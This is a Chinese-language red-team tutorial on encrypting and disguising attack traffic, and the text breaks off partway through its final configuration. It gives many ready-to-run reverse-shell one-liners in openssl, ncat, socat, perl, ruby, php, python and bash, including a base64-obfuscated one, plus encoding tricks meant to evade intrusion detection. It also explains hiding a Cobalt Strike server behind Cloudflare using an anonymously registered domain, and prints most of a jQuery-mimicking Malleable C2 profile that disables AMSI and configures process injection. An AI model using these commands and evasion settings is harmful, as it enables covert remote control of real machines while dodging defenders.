紅隊攻擊之流量加密小結(jié)

SSL加密的反彈shell:

0x01 使用OpenSSL對nc進(jìn)行流量加密:

  1. 生成 SSL 證書的公鑰/私鑰對:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

生成自簽名證書時會提示輸入證書信息,如果懶得填寫可以一路回車即可。成功生成后,在桌面有兩個pem加密文件:

  1. 服務(wù)端開啟監(jiān)聽:
openssl s_server -quiet -key key.pem -cert cert.pem -port 2333

ncat -lvnp 4444 --ssl --ssl-cert=cert.pem --ssl-key=key.pem
  1. 客戶端加密反彈 shell 的流量:
mkfifo /tmp/s;/bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 119.x.x.x:2333 > /tmp/s; rm /tmp/s

ncat --ssl 127.0.0.1 4444 -e /bin/bash

第一行是比較常見和簡單的形式,第二行是交互型的shell
socat exec:'bash' openssl-connect:127.0.0.1:4444,verify=0
socat exec:'bash -li',pty,stderr,setsid,sigint,sane openssl-connect:127.0.0.1:4444,verify=0

perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);$c=IO::Socket::SSL->new(PeerAddr=>"127.0.0.1:2332",SSL_verify_mode=>0);while(sysread($c,$i,8192)){syswrite($c,`$i`);}'

ruby -rsocket -ropenssl -e 'c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new("127.0.0.1","1234")).connect;while(cmd=c.gets);puts(cmd);IO.popen(cmd.to_s,"r"){|io|c.print io.read}end'

php -r '$ctxt=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);while($s=@stream_socket_client("ssl://127.0.0.1:4444",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode("\n",$o);$o.="\n";fputs($s,$o);}}'&

python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCnM9c3NsLndyYXBfc29ja2V0KHNvKQp5bj1GYWxzZQp3aGlsZSBub3QgeW46CglkYXRhPXMucmVjdigxMDI0KQoJaWYgbGVuKGRhdGEpPT0wOgoJCXluID0gVHJ1ZQoJcHJvYz1zdWJwcm9jZXNzLlBvcGVuKGRhdGEsc2hlbGw9VHJ1ZSxzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsc3RkaW49c3VicHJvY2Vzcy5QSVBFKQoJc3Rkb3V0X3ZhbHVlPXByb2Muc3Rkb3V0LnJlYWQoKSArIHByb2Muc3RkZXJyLnJlYWQoKQoJcy5zZW5kKHN0ZG91dF92YWx1ZSkK'.decode('base64'))" >/dev/null 2>&1

項目地址:https://github.com/Green-m/dark-shell
該腳本的好處是不用生成證書

服務(wù)端啟動監(jiān)聽:

ruby dark_shell.rb listen 0.0.0.0 6868 ssl

自動化輸出客戶端連接命令,包含各種各樣的 payload:

ruby dark_shell.rb gen 81.x.x.x 6868 ssl

補充說明:服務(wù)端的命令和客戶端的命令不一定需要相同,是可以混用的。比如用 ncat 的服務(wù)端,可以使用perl/python/socat 等方式鏈接,甚至 metasploit 的 reverse_perl_ssl 作為服務(wù)端監(jiān)聽的端口,也可以使用 ncat -ssl 進(jìn)行連接,底層的原理都是一樣的。

0x02 Base64/Base32/Hex 編碼的反彈shell:

因為大部分的系統(tǒng)里面都自帶這幾個命令,這也符合本文的出發(fā)點。但由于nc / bash / telnet 等命令基本都不支持對流量進(jìn)行編碼,因此需要我們對流量進(jìn)行單獨處理。

  • 服務(wù)端:

服務(wù)端使用原生自帶的命令來監(jiān)聽比較麻煩,命令比較長,也容易出問題。因此我這里就直接采用 dark-shell 的方式來進(jìn)行:

ruby dark_shell.rb listen 0.0.0.0 6888 base64
ruby dark_shell.rb listen 0.0.0.0 6888 base32
ruby dark_shell.rb listen 0.0.0.0 6888 hex
  • Client 端:

exec:

# base64
0<&137-;exec 137<>/dev/tcp/127.0.0.1/4444;cat <&137 |while read ff; do echo $ff|base64 -d|sh |base64 >&137 2>&137;done

# base32
0<&137-;exec 137<>/dev/tcp/127.0.0.1/4444;cat <&137 |while read ff; do echo $ff|base32 -d|sh |base32 >&137 2>&137;done

# hex
0<&137-;exec 137<>/dev/tcp/127.0.0.1/4444;cat <&137 |while read ff; do echo $ff|xxd -r -p|sh |xxd -p >&137 2>&137;done

nc:

# base64
mknod backpipe p;tail -f backpipe |nc 127.0.0.1 4444 | while read ff; do echo $ff|base64 -d|bash|base64 &> backpipe; done

# base32
mknod backpipe p;tail -f backpipe |nc 127.0.0.1 4444 | while read ff; do echo $ff|base32 -d|bash|base32 &> backpipe; done

# hex
mknod backpipe p;tail -f backpipe |nc 127.0.0.1 4444 | while read ff; do echo $ff|xxd -r -p|bash|xxd -p &> backpipe; done

telnet:

# base64
tail -f backpipe |telnet 127.0.0.1 4444 | while read ff; do echo $ff|base64 -d|bash|base64 &> backpipe; done

# base32
tail -f backpipe |telnet 127.0.0.1 4444 | while read ff; do echo $ff|base32 -d|bash|base32 &> backpipe; done

# hex
tail -f backpipe |telnet 127.0.0.1 4444 | while read ff; do echo $ff|xxd -r -p|bash|xxd -p &> backpipe; done

dark-shell 直接生成,最后的參數(shù)為編碼的方式:

ruby dark_shell.rb gen 81.x.x.x 6888 hex
0x03 編碼命令:

由于 hids,nids,waf 等各種安全檢測手段的存在,我們的命令可能直接會匹配上某些正則規(guī)則(大部分ids還依賴這樣比較低級的手法來檢測),從而觸發(fā)報警;另外, 前文中的 hex 和 base64 編碼的命令,是多條命令拼接和處理的,存在大量符號和空格,容易被截斷和轉(zhuǎn)義。

出于這兩種情況的存在,我們可以對命令進(jìn)行編碼,來解決這樣的問題。

/bin/bash -c '{echo,d2hvYW1pCg==}|{base64,-d}|{bash,-i}'等價于whoami
echo 77686f616d690a|xxd -p -r| bash -i等價于whoami

在 dark-shell 里直接實現(xiàn)了這樣的功能:ruby dark_shell.rb gencode 81.x.x.x 6999 base64

每段的第一條表示編碼前的命令,后面三條命令是不同的編碼形式: base64, hex, base32。

CS流量加密:

0x01 使用CDN:

使用CDN內(nèi)容分發(fā)網(wǎng)絡(luò)的多節(jié)點分布式技術(shù),通過“加速、代理、緩存”隱藏在后面的靜態(tài)文件或服務(wù);最終實現(xiàn)對外暴露的是CDN多節(jié)點的公網(wǎng)域名IP,很難甚至無法溯源真實后端服務(wù)器的域名或IP!

注意:使用國內(nèi)CDN服務(wù)商的產(chǎn)品的域名必須完成ICP實名備案

利用步驟:

    1. 匿名注冊新域名https://www.freenom.com/zh/index.html?lang=zh
    1. 匿名注冊免費CDN服務(wù)Cloudflarehttps://www.cloudflare.com/zh-cn/

補充:國內(nèi)云主機且沒有進(jìn)行備案,就無法使用80、8080、443、8443端口提供服務(wù)

注意:Cloudflare的CDN對于http、https代理模式只能監(jiān)聽特定端口,免費版本的cloudflare支持解析少量的端口

  • Cloudflare支持的HTTP端口范圍: 80,8080,8880,2052,2082,2086,2095
  • Cloudflare支持的HTTPS端口范圍: 443,2053,2083,2087,2096,8443

實際測試中似乎無法通過443上線,狀態(tài)碼報525

以上針對的是https的beacon,http的話在DNS中加一個二級域名并使用該二級域名上線即可。
不用額外再弄一個profile,因為http的beacon只看域名。

0x02 cloudflare生成證書:

利用過程:

如果使用默認(rèn)證書進(jìn)行滲透和測試,容易被IDS入侵檢測工具和流量檢測工具攔截和發(fā)現(xiàn)。默認(rèn)使用的證書是 cobaltstrike.store

  • 1. 在cloudflare的dash頁面找到SSL/TLS->源服務(wù)器->創(chuàng)建證書,之后將公鑰和私鑰保存下來,分別為server.pem和client.key

Cloudflare 默認(rèn)的 TLS 配置為靈活,由于我們使用了 Cloudflare 給原服務(wù)器發(fā)的證書,我們可以改成完全(嚴(yán)格)提高安全性。

  • 2. 將證書打包并生成store文件:
openssl pkcs12 -export -in server.pem -inkey client.key -out your-domain.com.p12 -name your-domain.com -passout pass:"pass123" 
keytool -importkeystore -deststorepass "pass123" -destkeypass "pass123" -destkeystore your-domain.com.store -srckeystore your-domain.com.p12 -srcstoretype PKCS12 -srcstorepass "pass123" -alias your-domain.com

將生成的證書,放置到CS根目錄;將teamserver中的keystore,keyStorePassword替換成上傳的證書和證書密碼。

  • 3. profile

C2-profile 文件是 Cobalt Strike 內(nèi)置工具,可以修改流量特征以及修改beacon的默認(rèn)行為,將攻擊流量偽裝成正常的流量,防止安全設(shè)備對流量特征進(jìn)行監(jiān)控和攔截。

包括以下行為的流量特征:

1、get請求
2、post請求
3、被遠(yuǎn)程加載的beacon.dll的特征
4、遠(yuǎn)程加載beacon.dll的url
5、進(jìn)程注入的具體細(xì)節(jié)
6、后滲透模塊的特征修改

官網(wǎng)指導(dǎo):
https://www.cobaltstrike.com/help-malleable-c2
https://www.cobaltstrike.com/help-malleable-postex

要想使用我們自己申請的證書,這里就需要使用‘Malleable C2 profile’的方式來操作。
Github 上已經(jīng)有非常多優(yōu)秀的 C2-Profile 可以供我們使用了,我們需要使用 Profile 讓 Beacon 和 Teamserver 之間的交互看起來盡可能像正常的流量。

https://github.com/rsmudge/Malleable-C2-Profiles
https://github.com/threatexpress/malleable-c2

這里我使用的是后者 jquery 的 profile,需要下載對應(yīng)cs版本的profile文件進(jìn)行修改

# Malleable C2 Profile
# Version: CobaltStrike 4.4
# File: jquery-c2.4.4.profile
# Description: 
#    c2 profile attempting to mimic a jquery.js request
#    uses signed certificates
#    or self-signed certificates
# Authors: @joevest, @andrewchiles, @001SPARTaN 

# Profile Name
set sample_name "jQuery CS 4.4 Profile";

##    - Beacon Timing in milliseconds (1000 = 1 sec)
set sleeptime "45000";         # 回傳時間 45 S
#set sleeptime "300000";       # 5 Minutes
set jitter    "37";            # 會傳時間的波動在37%

################################################
##  Server Response Size jitter
################################################
##  Description:
##   Append random-length string (up to data_jitter value) to http-get and http-post server output.
set data_jitter "100";          

set useragent "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko";

https-certificate {
    set C   "US";
    set CN  "jquery.com";
    set O   "jQuery";
    set OU  "Certificate Authority";
    set validity "365";
}

set tcp_port "42585";
set tcp_frame_header "\x80";

################################################
## SMB beacons
################################################
## Description:
##    Peer-to-peer beacon using SMB for communication
##    SMB Frame Header
##     - Added in CS 4.1, prepend header to SMB Beacon messages
## Defaults:
##    pipename: msagent_##
##    pipename_stager: status_##
##    smb_frame_header: N\A
## Guidelines:
##    - Do not use an existing namedpipe, Beacon doesn't check for conflict!
##    - the ## is replaced with a number unique to a teamserver     
## ---------------------
set pipename         "mojo.5688.8052.183894939787088877##"; # Common Chrome named pipe
set pipename_stager  "mojo.5688.8052.35780273329370473##"; # Common Chrome named pipe
set smb_frame_header "\x80";

################################################
## DNS beacons
################################################
## Description:
##    Beacon that uses DNS for communication
## Defaults:
##    dns_idle: 0.0.0.0
##    dns_max_txt: 252
##    dns_sleep: 0
##    dns_stager_prepend: N/A
##    dns_stager_subhost: .stage.123456.
##    dns_ttl: 1
##    maxdns: 255
##    beacon: N/A
##    get_A:  cdn.
##    get_AAAA: www6.
##    get_TXT: api.
##    put_metadata: www.
##    put_output: post.
##    ns_reponse: drop
## Guidelines:
##    - DNS beacons generate a lot of DNS request. DNS beacon are best used as low and slow back up C2 channels

dns-beacon {
    # Options moved into "dns-beacon" group in version 4.3
    set dns_idle           "74.125.196.113"; #google.com (change this to match your campaign)
    set dns_max_txt        "252";
    set dns_sleep          "0"; #    Force a sleep prior to each individual DNS request. (in milliseconds)
    set dns_ttl            "5";
    set maxdns             "255";
    set dns_stager_prepend ".resources.123456.";
    set dns_stager_subhost ".feeds.123456.";

    # DNS subhosts override options, added in version 4.3
    set beacon           "a.bc.";
    set get_A            "b.1a.";
    set get_AAAA         "c.4a.";
    set get_TXT          "d.tx.";
    set put_metadata     "e.md.";
    set put_output       "f.po.";
    set ns_response      "zero";

}

set ssh_banner        "OpenSSH_7.4 Debian (protocol 2.0)";
set ssh_pipename      "wkssvc##";

set host_stage "true"; # Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.set

http-stager {  
    set uri_x86 "/jquery-3.3.1.slim.min.js";
    set uri_x64 "/jquery-3.3.2.slim.min.js";

    server {
        header "Server" "NetDNA-cache/2.2";
        header "Cache-Control" "max-age=0, no-cache";
        header "Pragma" "no-cache";
        header "Connection" "keep-alive";
        header "Content-Type" "application/javascript; charset=utf-8";
        output {
            ## The javascript was changed.  Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
            # 2nd Line            
            prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r";
            # 1st Line
            prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
            append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
            print;
        }
    }

    client {
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
        header "Accept-Language" "en-US,en;q=0.5";
        #header "Host" "code.jquery.com";
        header "Referer" "http://code.jquery.com/";
        header "Accept-Encoding" "gzip, deflate";
    }
}


post-ex {
    # Optionally specify non-existent filepath to force manual specification based on the Beacon host's running processes
    set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
    # Hardcode paths like C:\\Windows\\System32\\dllhost.exe to avoid potential detections for %SYSNATIVE% use. !! This will break when attempting to spawn a 64bit post-ex job from a 32bit Beacon.
    set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
    # change the permissions and content of our post-ex DLLs
    set obfuscate "true";
    # pass key function pointers from Beacon to its child jobs
    set smartinject "true";
    # disable AMSI in powerpick, execute-assembly, and psinject
    set amsi_disable "true";
    # Modify our post-ex pipe names
    set pipename "Winsock2\\CatalogChangeListener-###-0,";
    set keylogger "GetAsyncKeyState";
    #set threadhint "module!function+0x##"
}

stage {
    
    # CS 4.2 added allocator and MZ header overrides
    set allocator      "VirtualAlloc"; # Options are: HeapAlloc, MapViewOfFile, and VirtualAlloc
    #set magic_mz_x86   "MZRE";
    #set magic_mz_x64   "MZAR";
    set magic_pe       "NO";
    set userwx         "false"; 
    set stomppe        "true";
    set obfuscate      "true";
    set cleanup        "true";
    # CS 3.12 Addition "Obfuscate and Sleep"
    set sleep_mask     "true";
    # CS 4.1  
    set smartinject    "true";

    # Make the Beacon Reflective DLL look like something else in memory
    # Values captured using peclone agaist a Windows 10 version of explorer.exe
    set checksum       "0";
    set compile_time   "11 Nov 2016 04:08:32";
    set entry_point    "650688";
    set image_size_x86 "4661248";
    set image_size_x64 "4661248";
    set name           "srv.dll";
    set rich_header    "\x3e\x98\xfe\x75\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x73\x81\x03\x26\xfc\xf9\x90\x26\x17\xa4\x93\x27\x79\xf9\x90\x26\x7a\xf9\x91\x26\x83\xfd\x90\x26\x17\xa4\x91\x27\x65\xf9\x90\x26\x17\xa4\x95\x27\x77\xf9\x90\x26\x17\xa4\x94\x27\x6c\xf9\x90\x26\x17\xa4\x9e\x27\x56\xf8\x90\x26\x17\xa4\x6f\x26\x7b\xf9\x90\x26\x17\xa4\x92\x27\x7b\xf9\x90\x26\x52\x69\x63\x68\x7a\xf9\x90\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

    # The transform-x86 and transform-x64 blocks pad and transform Beacon's Reflective DLL stage. These blocks support three commands: prepend, append, and strrep.
    transform-x86 { # transform the x86 rDLL stage
        prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
        strrep "ReflectiveLoader" "execute"; # Change this text
        strrep "This program cannot be run in DOS mode" ""; # Remove this text
        strrep "beacon.dll" ""; # Remove this text
    }
    transform-x64 { # transform the x64 rDLL stage
        prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
        strrep "ReflectiveLoader" "execute"; # Change this text in the Beacon DLL
        strrep "beacon.x64.dll" ""; # Remove this text in the Beacon DLL
    }

    stringw "jQuery"; # Add this string to the DLL
}

process-inject {

    # set a remote memory allocation technique: VirtualAllocEx|NtMapViewOfSection
    set allocator "NtMapViewOfSection";

    # Minimium memory allocation size when injecting content
    set min_alloc "17500";
    
    # Set memory permissions as permissions as initial=RWX, final=RX
    set startrwx "false";
    set userwx   "false";

    # Transform injected content to avoid signature detection of first few bytes. Only supports prepend and append.
    transform-x86 {
        prepend "\x90\x90";
        #append "\x90\x90";
    }

    transform-x64 {
        prepend "\x90\x90";
        #append "\x90\x90";
    }
  
    execute {

        # The order is important! Each step will be attempted (if applicable) until successful
        ## self-injection
        CreateThread "ntdll!RtlUserThreadStart+0x42";
        CreateThread;

        ## Injection via suspened processes (SetThreadContext|NtQueueApcThread-s)
        # OPSEC - when you use SetThreadContext; your thread will have a start address that reflects the original execution entry point of the temporary process.
        # SetThreadContext;
        NtQueueApcThread-s;
        
        ## Injection into existing processes
        # OPSEC Uses RWX stub - Detected by Get-InjectedThread. Less detected by some defensive products.
        #NtQueueApcThread; 
        
        # CreateRemotThread - Vanilla cross process injection technique. Doesn't cross session boundaries
        # OPSEC - fires Sysmon Event 8
        CreateRemoteThread;
        
        # RtlCreateUserThread - Supports all architecture dependent corner cases (e.g., 32bit -> 64bit injection) AND injection across session boundaries
        # OPSEC - fires Sysmon Event 8. Uses Meterpreter implementation and RWX stub - Detected by Get-InjectedThread
        RtlCreateUserThread; 
    }
}

http-config {
    set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
    header "Server" "Apache";
    header "Keep-Alive" "timeout=10, max=100";
    header "Connection" "Keep-Alive";
    # Use this option if your teamserver is behind a redirector
    set trust_x_forwarded_for "true";
    # Block Specific User Agents with a 404 (added in 4.3)
    set block_useragents "curl*,lynx*,wget*";
}

http-get {

    set uri "/jquery-3.3.1.min.js";
    set verb "GET";

    client {

        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
        #header "Host" "code.jquery.com";
        header "Referer" "http://code.jquery.com/";
        header "Accept-Encoding" "gzip, deflate";

        metadata {
            base64url;
            prepend "__cfduid=";
            header "Cookie";
        }
    }

    server {

        header "Server" "NetDNA-cache/2.2";
        header "Cache-Control" "max-age=0, no-cache";
        header "Pragma" "no-cache";
        header "Connection" "keep-alive";
        header "Content-Type" "application/javascript; charset=utf-8";

        output {   
            mask;
            base64url;
            ## The javascript was changed.  Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
            # 2nd Line            
            prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r";
            # 1st Line
            prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
